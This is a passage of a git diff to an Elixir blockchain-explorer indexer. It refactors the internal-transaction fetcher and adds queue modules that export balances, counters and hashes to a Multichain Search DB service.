fetch internal transactions for blocks: ", inspect(reason)] end, - error_count: filtered_unique_numbers_count - ) + # TODO: remove this function after the migration of internal transactions PK to [:block_hash, :transaction_index, :index] + defp fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) do + variant = Keyword.fetch!(json_rpc_named_arguments, :variant) - # re-queue the de-duped entries - {:retry, filtered_unique_numbers} + if variant in block_traceable_variants() do + EthereumJSONRPC.fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) + else + Enum.reduce(block_numbers, {:ok, []}, fn + block_number, {:ok, acc_list} -> + block_number + |> Chain.get_transactions_of_block_number() + |> filter_non_traceable_transactions() + |> Enum.map(¶ms/1) + |> case do + [] -> + {:ok, []} + + transactions -> + try do + EthereumJSONRPC.fetch_internal_transactions(transactions, json_rpc_named_arguments) + catch + :exit, error -> + {:error, error, __STACKTRACE__} + end + end + |> case do + {:ok, internal_transactions} -> {:ok, internal_transactions ++ acc_list} + error_or_ignore -> error_or_ignore + end + + _, error_or_ignore -> + error_or_ignore + end) + end + end - :ignore -> - :ok + @default_block_traceable_variants [ + EthereumJSONRPC.Nethermind, + EthereumJSONRPC.Erigon, + EthereumJSONRPC.Besu, + EthereumJSONRPC.RSK, + EthereumJSONRPC.Filecoin + ] + defp block_traceable_variants do + if Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth)[:block_traceable?] do + [EthereumJSONRPC.Geth | @default_block_traceable_variants] + else + @default_block_traceable_variants + end + end + + defp drop_genesis(block_numbers, json_rpc_named_arguments) do + first_block = Application.get_env(:indexer, :trace_first_block) + + if first_block in block_numbers do + case EthereumJSONRPC.fetch_blocks_by_numbers([first_block], json_rpc_named_arguments) do + {:ok, %{transactions_params: [_ | _]}} -> block_numbers + _ -> block_numbers -- [first_block] + end + else + block_numbers end end @@ -154,7 +259,7 @@ defmodule Indexer.Fetcher.InternalTransaction do Logger.error( fn -> [ - "failed to import first trace for tx: ", + "failed to import first trace for transaction: ", inspect(reason) ] end, @@ -163,114 +268,318 @@ defmodule Indexer.Fetcher.InternalTransaction do end end - defp fetch_block_internal_transactions_by_transactions(unique_numbers, json_rpc_named_arguments) do - Enum.reduce(unique_numbers, {:ok, []}, fn - block_number, {:ok, acc_list} -> - block_number - |> Chain.get_transactions_of_block_number() - |> Enum.map(¶ms(&1)) - |> case do - [] -> - {:ok, []} - - transactions -> - try do - EthereumJSONRPC.fetch_internal_transactions(transactions, json_rpc_named_arguments) - catch - :exit, error -> - {:error, error} - end - end - |> case do - {:ok, internal_transactions} -> {:ok, internal_transactions ++ acc_list} - error_or_ignore -> error_or_ignore - end + defp filter_block_numbers(block_numbers, :block_number, json_rpc_named_arguments) do + block_numbers + |> Enum.uniq() + |> Chain.filter_non_refetch_needed_block_numbers() + |> RangesHelper.filter_traceable_block_numbers() + |> drop_genesis(json_rpc_named_arguments) + end + + defp filter_block_numbers(transactions_params, :transaction_params, _json_rpc_named_arguments), + do: transactions_params - _, error_or_ignore -> - error_or_ignore + defp check_and_filter_block_numbers(block_numbers) do + Enum.reduce(block_numbers, [], fn number, acc -> + if is_integer(number) do + [number | acc] + else + Logger.error("InternalTransaction fetcher expected block number but got #{number}") + acc + end end) end - defp import_internal_transaction(internal_transactions_params, unique_numbers) do - internal_transactions_params_without_failed_creations = remove_failed_creations(internal_transactions_params) + defp check_and_filter_transactions(transactions) do + Enum.reduce(transactions, [], fn transaction, acc -> + case transaction do + %{block_number: block_number, hash: _hash, index: _index} when is_integer(block_number) -> + [transaction | acc] + + _ -> + Logger.error("InternalTransaction fetcher expected transaction but got #{inspect(transaction)}") + acc + end + end) + end + + defp fetch_internal_transactions_by_transactions(transactions, json_rpc_named_arguments) do + transactions + |> filter_non_traceable_transactions() + |> Enum.map(¶ms/1) + |> case do + [] -> + {:ok, []} + + transactions -> + try do + EthereumJSONRPC.fetch_internal_transactions(transactions, json_rpc_named_arguments) + catch + :exit, error -> + {:error, error, __STACKTRACE__} + end + end + end + + # TODO: should we cover this with tests? + @zetachain_non_traceable_type 88 + defp filter_non_traceable_transactions(transactions) do + case Application.get_env(:explorer, :chain_type) do + :zetachain -> Enum.reject(transactions, &(&1.type == @zetachain_non_traceable_type)) + :zilliqa -> Enum.reject(transactions, &ZilliqaHelper.scilla_transaction?/1) + _ -> transactions + end + end + + defp safe_import_internal_transaction(internal_transactions_params, block_numbers, data_type) do + import_internal_transaction(internal_transactions_params, block_numbers, data_type) + rescue + Postgrex.Error -> + handle_foreign_key_violation(internal_transactions_params, block_numbers, data_type) + {:retry, block_numbers} + end + + defp import_internal_transaction(internal_transactions_params, transactions_params_or_unique_numbers, data_type) do + internal_transactions_params_marked = mark_failed_transactions(internal_transactions_params) addresses_params = Addresses.extract_addresses(%{ - internal_transactions: internal_transactions_params_without_failed_creations + internal_transactions: internal_transactions_params_marked }) address_hash_to_block_number = Enum.into(addresses_params, %{}, fn %{fetched_coin_balance_block_number: block_number, hash: hash} -> - {hash, block_number} + {String.downcase(hash), block_number} end) + address_coin_balances_params_set = + AddressCoinBalances.params_set(%{internal_transactions_params: internal_transactions_params_marked}) + empty_block_numbers = - unique_numbers - |> MapSet.new() - |> MapSet.difference(MapSet.new(internal_transactions_params_without_failed_creations, & &1.block_number)) - |> Enum.map(&%{block_number: &1}) + case data_type do + :block_number -> + transactions_params_or_unique_numbers + |> MapSet.new() + |> MapSet.difference(MapSet.new(internal_transactions_params_marked, & &1.block_number)) + |> Enum.map(&%{block_number: &1}) + + :transaction_params -> + [] + end - internal_transactions_and_empty_block_numbers = - internal_transactions_params_without_failed_creations ++ empty_block_numbers + internal_transactions_and_empty_block_numbers = internal_transactions_params_marked ++ empty_block_numbers + + celo_token_transfers_params = + %{token_transfers: celo_token_transfers, tokens: celo_tokens} = + if Application.get_env(:explorer, :chain_type) == :celo do + block_number_to_block_hash = + transactions_params_or_unique_numbers + |> data_to_block_numbers(data_type) + |> Chain.block_hash_by_number() + |> Map.new(fn + {block_number, block_hash} -> + {block_number, Hash.to_string(block_hash)} + end) + + CeloTransactionTokenTransfers.parse_internal_transactions( + internal_transactions_params_marked, + block_number_to_block_hash + ) + else + %{token_transfers: [], tokens: []} + end imports = Chain.import(%{ + token_transfers: %{params: celo_token_transfers}, + tokens: %{params: celo_tokens}, addresses: %{params: addresses_params}, + address_coin_balances: %{params: address_coin_balances_params_set}, internal_transactions: %{params: internal_transactions_and_empty_block_numbers, with: :blockless_changeset}, timeout: :infinity }) case imports do {:ok, imported} -> - Accounts.drop(imported[:addreses]) + Accounts.drop(imported[:addresses]) Blocks.drop_nonconsensus(imported[:remove_consensus_of_missing_transactions_blocks]) async_import_coin_balances(imported, %{ address_hash_to_fetched_balance_block_number: address_hash_to_block_number }) + async_import_celo_token_balances(celo_token_transfers_params) + {:error, step, reason, _changes_so_far} -> Logger.error( fn -> [ - "failed to import internal transactions for blocks: ", + "failed to import internal transactions for #{data_type}: ", inspect(reason) ] end, step: step, - error_count: Enum.count(unique_numbers) + error_count: Enum.count(transactions_params_or_unique_numbers) ) + handle_unique_key_violation(reason, transactions_params_or_unique_numbers, data_type) + # re-queue the de-duped entries - {:retry, unique_numbers} + {:retry, transactions_params_or_unique_numbers} end end - defp remove_failed_creations(internal_transactions_params) do + defp mark_failed_transactions(internal_transactions_params) do + # we store reversed trace addresses for more efficient list head-tail decomposition in has_failed_parent? + failed_parent_paths = + internal_transactions_params + |> Enum.filter(& &1[:error]) + |> Enum.map(&Enum.reverse([&1.transaction_hash | &1.trace_address])) + |> MapSet.new() + internal_transactions_params |> Enum.map(fn internal_transaction_param -> - transaction_index = internal_transaction_param[:transaction_index] - block_number = internal_transaction_param[:block_number] - - failed_parent = - internal_transactions_params - |> Enum.filter(fn internal_transactions_param -> - internal_transactions_param[:block_number] == block_number && - internal_transactions_param[:transaction_index] == transaction_index && - internal_transactions_param[:trace_address] == [] && !is_nil(internal_transactions_param[:error]) - end) - |> Enum.at(0) - - if failed_parent do + if has_failed_parent?( + failed_parent_paths, + internal_transaction_param.trace_address, + [internal_transaction_param.transaction_hash] + ) do + # TODO: consider keeping these deleted fields in the reverted transactions internal_transaction_param |> Map.delete(:created_contract_address_hash) |> Map.delete(:created_contract_code) |> Map.delete(:gas_used) |> Map.delete(:output) - |> Map.put(:error, failed_parent[:error]) + |> Map.put(:error, internal_transaction_param[:error] || "Parent reverted") else internal_transaction_param end end) end + + defp has_failed_parent?(failed_parent_paths, [head | tail], reverse_path_acc) do + MapSet.member?(failed_parent_paths, reverse_path_acc) or + has_failed_parent?(failed_parent_paths, tail, [head | reverse_path_acc]) + end + + # don't count itself as a parent + defp has_failed_parent?(_failed_parent_paths, [], _reverse_path_acc), do: false + + defp handle_unique_key_violation( + %{exception: %{postgres: %{code: :unique_violation}}}, + transactions_params_or_unique_numbers, + data_type + ) do + block_numbers = data_to_block_numbers(transactions_params_or_unique_numbers, data_type) + + Block.set_refetch_needed(block_numbers) + + Logger.error(fn -> + [ + "unique_violation on internal transactions import, #{data_type} identifiers: ", + inspect(transactions_params_or_unique_numbers) + ] + end) + end + + defp handle_unique_key_violation(_reason, _identifiers, _data_type), do: :ok + + defp handle_foreign_key_violation(internal_transactions_params, block_numbers_or_transactions, data_type) do + block_numbers = data_to_block_numbers(block_numbers_or_transactions, data_type) + + Block.set_refetch_needed(block_numbers) + + transaction_hashes = + internal_transactions_params + |> Enum.map(&to_string(&1.transaction_hash)) + |> Enum.uniq() + + Logger.error(fn -> + [ + "foreign_key_violation on internal transactions import, foreign transactions hashes: ", + Enum.join(transaction_hashes, ", ") + ] + end) + end + + defp handle_not_found_transaction(errors) when is_list(errors) do + Enum.each(errors, &handle_not_found_transaction/1) + end + + defp handle_not_found_transaction(error) do + case error do + %{data: data, message: "historical backend error" <> _} -> invalidate_block_from_error(data) + %{data: data, message: "genesis is not traceable"} -> invalidate_block_from_error(data) + %{data: data, message: "transaction not found"} -> invalidate_block_from_error(data) + _ -> :ok + end + end + + defp invalidate_block_from_error(%{"blockNumber" => block_number}), + do: Block.set_refetch_needed([block_number]) + + defp invalidate_block_from_error(%{block_number: block_number}), + do: Block.set_refetch_needed([block_number]) + + defp invalidate_block_from_error(_error_data), do: :ok + + defp queue_data_type(_json_rpc_named_arguments) do + # TODO: bring back after the migration of internal transactions PK to [:block_hash, :transaction_index, :index] + # variant = Keyword.fetch!(json_rpc_named_arguments, :variant) + + # if variant in block_traceable_variants() do + # :block_number + # else + # :transaction_params + # end + + if Application.get_env(:explorer, :non_existing_variable, false) do + :transaction_params + else + :block_number + end + end + + defp data_to_block_numbers(block_numbers, :block_number), do: block_numbers + + defp data_to_block_numbers(transactions_params, :transaction_params) do + transactions_params + |> Enum.map(& &1.block_number) + |> Enum.uniq() + end + + def defaults do + [ + poll: false, + flush_interval: :timer.seconds(3), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: Indexer.Fetcher.InternalTransaction.TaskSupervisor, + metadata: [fetcher: :internal_transaction] + ] + end + + defp async_import_celo_token_balances(%{token_transfers: token_transfers, tokens: tokens}) do + if Application.get_env(:explorer, :chain_type) == :celo do + token_transfers_with_token = token_transfers_merge_token(token_transfers, tokens) + + address_token_balances = + %{token_transfers_params: token_transfers_with_token} + |> AddressTokenBalances.params_set() + |> Enum.map(fn %{address_hash: address_hash, token_contract_address_hash: token_contract_address_hash} = entry -> + with {:ok, address_hash} <- Hash.Address.cast(address_hash), + {:ok, token_contract_address_hash} <- Hash.Address.cast(token_contract_address_hash) do + entry + |> Map.put(:address_hash, address_hash) + |> Map.put(:token_contract_address_hash, token_contract_address_hash) + else + error -> Logger.error("Failed to cast string to hash: #{inspect(error)}") + end + end) + + async_import_token_balances(%{address_token_balances: address_token_balances}, false) + else + :ok + end + end end diff --git a/apps/indexer/lib/indexer/fetcher/multichain_search_db/balances_export_queue.ex b/apps/indexer/lib/indexer/fetcher/multichain_search_db/balances_export_queue.ex new file mode 100644 index 000000000000..ce9c23ce5fa4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/multichain_search_db/balances_export_queue.ex @@ -0,0 +1,215 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.BalancesExportQueue do + @moduledoc """ + Exports token and coin balances to Multichain Search DB service from the queue. + """ + + require Logger + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.Chain.Wei + alias Explorer.Chain.{Hash, MultichainSearchDb.BalancesExportQueue} + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Repo + + alias Indexer.BufferedTask + alias Indexer.Helper, as: IndexerHelper + + @behaviour BufferedTask + + @delete_queries_chunk_size 10 + @default_max_batch_size 3000 + @default_max_concurrency 10 + @failed_to_re_export_data_error "Batch balances export retry to the Multichain Search DB failed" + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + BalancesExportQueue.stream_multichain_db_balances_batch( + initial_acc, + fn data, acc -> + IndexerHelper.reduce_if_queue_is_not_full(data, acc, reducer, __MODULE__) + end, + true + ) + + acc + end + + @impl BufferedTask + def run(data, _json_rpc_named_arguments) when is_list(data) do + prepared_export_data = prepare_export_data(data) + + export_data_to_multichain(prepared_export_data) + end + + defp export_data_to_multichain(prepared_export_data) do + case MultichainSearch.batch_import(prepared_export_data) do + {:ok, {:chunks_processed, result}} -> + all_balances = + result + |> Enum.flat_map(fn params -> + coin_balances = prepare_coin_balances_for_db_query(params[:address_coin_balances]) + token_balances = prepare_token_balances_for_db_query(params[:address_token_balances]) + + coin_balances ++ token_balances + end) + + unless Enum.empty?(all_balances) do + all_balances + |> Enum.sort_by(&{&1.address_hash, &1.token_contract_address_hash_or_native, &1.token_id}) + |> Enum.chunk_every(@delete_queries_chunk_size) + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + |> Enum.each(fn chunk_items -> + chunk_items + |> BalancesExportQueue.delete_elements_from_queue_by_params() + |> Repo.transact() + end) + end + + :ok + + {:error, retry} -> + Logger.error(fn -> + ["#{@failed_to_re_export_data_error}", "#{inspect(prepared_export_data)}"] + end) + + {:retry, retry} + end + end + + defp prepare_token_balances_for_db_query(token_balances) do + token_balances + |> Enum.map(fn token_balance -> + %{ + address_hash: token_balance.address_hash, + token_contract_address_hash_or_native: token_balance.token_address_hash, + token_id: + if(is_nil(token_balance.token_id), + do: nil, + else: token_balance.token_id |> Decimal.to_integer() + ), + value: + if(is_nil(token_balance.value), + do: nil, + else: token_balance.value |> Wei.dump() |> elem(1) |> Decimal.to_integer() + ) + } + end) + end + + defp prepare_coin_balances_for_db_query(coin_balances) do + coin_balances + |> Enum.map(fn coin_balance -> + %{ + address_hash: coin_balance.address_hash, + token_contract_address_hash_or_native: "native", + token_id: nil, + value: + if(is_nil(coin_balance.value), + do: nil, + else: coin_balance.value |> Wei.dump() |> elem(1) |> Decimal.to_integer() + ) + } + end) + end + + @doc """ + Prepares export data by separating balances into coin and token balances. + + ## Parameters + + - `export_data`: A list of maps, each containing: + - `:address_hash` - The address hash of Hash.Address.t(). + - `:token_contract_address_hash_or_native` - The token contract address hash as a binary, or the string `"native"` for native coins. + - `:value` - The balance value as a `Decimal.t()`. + - `:token_id` (optional) - The token ID, present for token balances. + + ## Returns + + A map with the following keys: + - `:address_coin_balances` - A list of maps with `:address_hash` and `:value` for native coin balances. + - `:address_token_balances` - A list of maps with `:address_hash`, `:token_contract_address_hash`, `:token_id`, and `:value` for token balances. + + Native coin balances are grouped under `:address_coin_balances`, while token balances are grouped under `:address_token_balances`. The function also converts binary hashes to string representations using the `Hash` struct. + """ + @spec prepare_export_data([ + %{ + address_hash: Hash.Address.t(), + token_contract_address_hash_or_native: binary(), + value: Decimal.t() | nil, + token_id: Decimal.t() | nil + } + ]) :: %{ + address_coin_balances: list(), + address_token_balances: list() + } + def prepare_export_data(export_data) do + pre_prepared_export_data = + export_data + |> Enum.reduce( + %{ + address_coin_balances: [], + address_token_balances: [] + }, + fn res, acc -> + case res.token_contract_address_hash_or_native do + "native" -> + acc + |> Map.update( + :address_coin_balances, + [%{address_hash: res.address_hash, value: res.value}], + &[%{address_hash: res.address_hash, value: res.value} | &1] + ) + + _ -> + acc + |> Map.update( + :address_token_balances, + [ + %{ + address_hash: res.address_hash, + token_contract_address_hash: + to_string(%Hash{byte_count: 20, bytes: res.token_contract_address_hash_or_native}), + token_id: res.token_id, + value: res.value + } + ], + &[ + %{ + address_hash: res.address_hash, + token_contract_address_hash: + to_string(%Hash{byte_count: 20, bytes: res.token_contract_address_hash_or_native}), + token_id: res.token_id, + value: res.value + } + | &1 + ] + ) + end + end + ) + + pre_prepared_export_data + end + + defp defaults do + [ + flush_interval: :timer.seconds(10), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/multichain_search_db/counters_export_queue.ex b/apps/indexer/lib/indexer/fetcher/multichain_search_db/counters_export_queue.ex new file mode 100644 index 000000000000..42a64451c9ea --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/multichain_search_db/counters_export_queue.ex @@ -0,0 +1,136 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.CountersExportQueue do + @moduledoc """ + Exports blockchain data to Multichain Search DB service from the queue. + """ + + require Logger + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.Chain.MultichainSearchDb.CountersExportQueue + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Repo + + alias Indexer.{BufferedTask, Helper} + + @behaviour BufferedTask + + @default_max_batch_size 1000 + @default_max_concurrency 10 + @delete_queries_chunk_size 10 + @failed_to_export_data_error "Batch counters export attempt to the Multichain Search DB failed" + @fetcher_name :multichain_search_db_counters_export_queue + @queue_size_info "Queue size" + @successfully_sent_info "Successfully sent" + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + CountersExportQueue.stream_multichain_db_counters_batch( + initial_acc, + fn data, acc -> + Helper.reduce_if_queue_is_not_full(data, acc, reducer, __MODULE__) + end, + true + ) + + acc + end + + @impl BufferedTask + def run(items_from_db_queue, _) when is_list(items_from_db_queue) do + case MultichainSearch.batch_export_counters(items_from_db_queue) do + {:ok, {:chunks_processed, chunks}} -> + chunks + |> Enum.map(fn chunk -> chunk.counters end) + |> List.flatten() + |> Enum.map(&MultichainSearch.counter_http_item_to_queue_item(&1)) + |> delete_queue_items() + |> log_queue_size() + + {:error, data_to_retry} -> + Logger.error(fn -> + ["#{@failed_to_export_data_error}", "#{inspect(data_to_retry.counters)}"] + end) + + queue_items_to_retry = + data_to_retry.counters + |> Enum.map(&MultichainSearch.counter_http_item_to_queue_item(&1)) + + items_from_db_queue + |> Enum.reject(fn item_to_export -> + Enum.any?( + queue_items_to_retry, + &(&1.timestamp == item_to_export.timestamp and &1.counter_type == item_to_export.counter_type) + ) + end) + |> delete_queue_items() + |> log_queue_size() + + {:retry, queue_items_to_retry} + end + end + + # Removes items successfully sent to Multichain service from db queue. + # The list is split into small chunks to prevent db deadlocks. + # + # ## Parameters + # - `items`: The list of queue items to delete from the queue. + # + # ## Returns + # - The `items` list. + @spec delete_queue_items([map()]) :: [map()] + defp delete_queue_items(items) do + items + |> Enum.chunk_every(@delete_queries_chunk_size) + |> Enum.each(fn chunk_items -> + chunk_items + |> CountersExportQueue.delete_query() + |> Repo.transaction() + end) + + items + end + + # Logs the number of the current queue size and the number of successfully sent items. + # + # ## Parameters + # - `items_successful`: The list of items successfully sent to Multichain service. + # + # ## Returns + # - `:ok` + @spec log_queue_size(list()) :: any() + defp log_queue_size(items_successful) do + Logger.info( + fn -> + [ + "#{@queue_size_info}: ", + "#{CountersExportQueue.queue_size()}, ", + "#{@successfully_sent_info}: ", + "#{Enum.count(items_successful)}" + ] + end, + fetcher: @fetcher_name + ) + end + + defp defaults do + [ + flush_interval: :timer.seconds(10), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/multichain_search_db/counters_fetcher.ex b/apps/indexer/lib/indexer/fetcher/multichain_search_db/counters_fetcher.ex new file mode 100644 index 000000000000..7535335bf933 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/multichain_search_db/counters_fetcher.ex @@ -0,0 +1,131 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.CountersFetcher do + @moduledoc """ + Fetches counters and adds them to a queue to send to Multichain Search DB service. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query, + only: [ + from: 2 + ] + + alias Explorer.Chain.{Address, Transaction} + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Transaction.History.{Historian, TransactionStats} + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Repo + + @fetcher_name :multichain_search_db_counters_fetcher + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, nil}} + end + + @impl GenServer + def handle_continue(_, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two-second pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + Process.send(self(), :try_to_fetch_yesterday_counters, []) + + {:noreply, %{}} + end + + @impl GenServer + def handle_info(:try_to_fetch_yesterday_counters, _state) do + today = Date.utc_today() + yesterday = Date.add(today, -1) + + Logger.info("Waiting for transaction stats to be collected for #{yesterday}...") + + last_save_records_date = + Historian.transaction_stats_last_save_records_timestamp() + |> LastFetchedCounter.get() + |> Decimal.to_integer() + |> DateTime.from_unix!() + |> DateTime.to_date() + + if last_save_records_date == today do + # Historian module worked today, so we can use its results + # for yesterday's number of transactions + number_of_transactions = + yesterday + |> TransactionStats.by_date_range(yesterday) + |> Enum.at(0, %{}) + |> Map.get(:number_of_transactions, 0) + + Process.send(self(), :fetch_yesterday_counters, []) + + {:noreply, %{number_of_transactions: number_of_transactions, yesterday: yesterday}} + else + # the stats is not ready yet, so wait for 1 minute and try again + Process.send_after(self(), :try_to_fetch_yesterday_counters, 60_000) + {:noreply, %{}} + end + end + + @impl GenServer + def handle_info(:fetch_yesterday_counters, %{number_of_transactions: number_of_transactions, yesterday: yesterday}) do + yesterday_dt = DateTime.new!(yesterday, Time.new!(23, 59, 59, 0)) + + daily_transactions_number = number_of_transactions + + total_transactions_number = + Repo.aggregate(from(t in Transaction, where: t.block_timestamp <= ^yesterday_dt), :count, :hash, + timeout: :infinity + ) + + total_addresses_number = + Repo.aggregate(from(a in Address, where: a.inserted_at <= ^yesterday_dt), :count, timeout: :infinity) + + Logger.info("Transaction stats is now available for #{yesterday}:") + Logger.info("daily_transactions_number = #{daily_transactions_number}") + Logger.info("total_transactions_number = #{total_transactions_number}") + Logger.info("total_addresses_number = #{total_addresses_number}") + + MultichainSearch.send_counters_to_queue( + %{ + yesterday_dt => %{ + daily_transactions_number: to_string(daily_transactions_number), + total_transactions_number: to_string(total_transactions_number), + total_addresses_number: to_string(total_addresses_number) + } + }, + :global + ) + + Logger.info("Waiting for the next day...") + Process.send_after(self(), :try_to_fetch_yesterday_counters, calculate_delay_until_next_midnight()) + + {:noreply, %{}} + end + + defp calculate_delay_until_next_midnight do + now = DateTime.utc_now() + tomorrow = DateTime.new!(Date.add(Date.utc_today(), 1), Time.new!(0, 0, 0, 0), now.time_zone) + + DateTime.diff(tomorrow, now, :millisecond) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/multichain_search_db/main_export_queue.ex b/apps/indexer/lib/indexer/fetcher/multichain_search_db/main_export_queue.ex new file mode 100644 index 000000000000..d9ced6aea750 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/multichain_search_db/main_export_queue.ex @@ -0,0 +1,290 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.MainExportQueue do + @moduledoc """ + Exports blockchain data to Multichain Search DB service from the queue. + """ + + require Logger + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Hash, MultichainSearchDb.MainExportQueue, Transaction} + alias Explorer.MicroserviceInterfaces.MultichainSearch + + alias Indexer.BufferedTask + alias Indexer.Helper, as: IndexerHelper + + @behaviour BufferedTask + + @delete_queries_chunk_size 100 + @default_max_batch_size 3000 + @default_max_concurrency 10 + @failed_to_re_export_data_error "Batch main export retry to the Multichain Search DB failed" + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + MainExportQueue.stream_multichain_db_data_batch( + initial_acc, + fn data, acc -> + IndexerHelper.reduce_if_queue_is_not_full(data, acc, reducer, __MODULE__) + end, + true + ) + + acc + end + + @impl BufferedTask + def run( + %{ + addresses: _addresses, + transactions: _transactions, + block_ranges: _block_ranges, + block_hashes: _block_hashes + } = prepared_export_data, + _json_rpc_named_arguments + ) do + export_data_to_multichain(prepared_export_data) + end + + @impl BufferedTask + def run(data, _json_rpc_named_arguments) when is_list(data) do + prepared_export_data = prepare_export_data(data) + + export_data_to_multichain(prepared_export_data) + end + + defp export_data_to_multichain(prepared_export_data) do + case MultichainSearch.batch_import(prepared_export_data) do + {:ok, {:chunks_processed, result}} -> + all_hashes = + result + |> Enum.flat_map(fn params -> + hashes = prepare_hashes_for_db_query(params[:hashes], :full) + addresses = prepare_hashes_for_db_query(params[:addresses], :address) + + hashes ++ addresses + end) + + all_hashes + |> Enum.chunk_every(@delete_queries_chunk_size) + |> Enum.each(fn chunk_items -> + chunk_items + |> MainExportQueue.by_hashes_query() + |> Repo.delete_all() + end) + + :ok + + {:error, data_to_retry} -> + Logger.error(fn -> + ["#{@failed_to_re_export_data_error}", "#{inspect(prepared_export_data)}"] + end) + + hashes = all_hashes(prepared_export_data) + failed_hashes = failed_hashes(data_to_retry) + + successful_hashes = hashes -- failed_hashes + + successful_hash_binaries = + successful_hashes + |> Enum.map(fn hash -> + "0x" <> hex = hash + Base.decode16!(hex, case: :mixed) + end) + + successful_hash_binaries + |> MainExportQueue.by_hashes_query() + |> Repo.delete_all() + + {:retry, data_to_retry} + end + end + + defp prepare_hashes_for_db_query(entities, entity_type) do + entities + |> Enum.map(fn entity -> + fun = if entity_type == :address, do: :string_to_address_hash, else: :string_to_full_hash + + case apply(Chain, fun, [Map.get(entity, :hash)]) do + {:ok, hash} -> hash.bytes + {:error, _} -> nil + end + end) + |> Enum.reject(&is_nil/1) + end + + defp all_hashes(prepared_export_data) do + transaction_hashes = + prepared_export_data[:transactions] |> Enum.map(&Map.get(&1, :hash)) + + block_hashes = prepared_export_data[:block_hashes] |> Enum.map(&to_string(&1)) + + address_hashes = prepared_export_data[:addresses] |> Enum.map(&to_string(Map.get(&1, :hash))) + + transaction_hashes ++ block_hashes ++ address_hashes + end + + defp failed_hashes(data_to_retry) do + block_transaction_hashes = + data_to_retry.hashes + |> Enum.map(&Map.get(&1, :hash)) + + address_hashes = + data_to_retry.addresses + |> Enum.map(&Map.get(&1, :hash)) + + block_transaction_hashes ++ address_hashes + end + + @doc """ + Prepares export data from a list of maps containing `:hash`, `:hash_type`, and `:block_range` keys. + + Processes each entry by its `:hash_type` (`:address`, `:block`, or `:transaction`), accumulating the corresponding hashes and block ranges. + Converts address hashes to address structs and returns a map with the following keys: + + - `:addresses` - a list of `Address.t()` structs derived from address hashes. + - `:transactions` - a list of `Transaction.t()` structs or maps with transaction hash and hash type. + - `:block_ranges` - a list of maps with `:min_block_number` and `:max_block_number` as strings. + - `:block_hashes` - a list of `Hash.t()` structs for block hashes. + + ## Parameters + + - `export_data`: a list of maps, each containing: + - `:hash` (binary): the hash value. + - `:hash_type` (atom): the type of hash (`:address`, `:block`, or `:transaction`). + - `:block_range` (any): the block range associated with the hash. + + ## Returns + + A map with prepared export data, including addresses, transactions, block ranges, and block hashes. + """ + @spec prepare_export_data([%{hash: binary(), hash_type: atom(), block_range: any()}]) :: %{ + addresses: [Address.t()], + transactions: [Transaction.t() | %{hash: String.t(), hash_type: String.t()}], + block_ranges: [%{min_block_number: String.t(), max_block_number: String.t()}], + block_hashes: [Hash.t()] + } + def prepare_export_data(export_data) do + pre_prepared_export_data = + export_data + |> Enum.reduce( + %{ + address_hashes: [], + block_hashes: [], + transactions: [], + block_ranges: [ + %{ + min_block_number: nil, + max_block_number: nil + } + ] + }, + fn res, acc -> + case res.hash_type do + :address -> + acc + |> Map.update( + :address_hashes, + 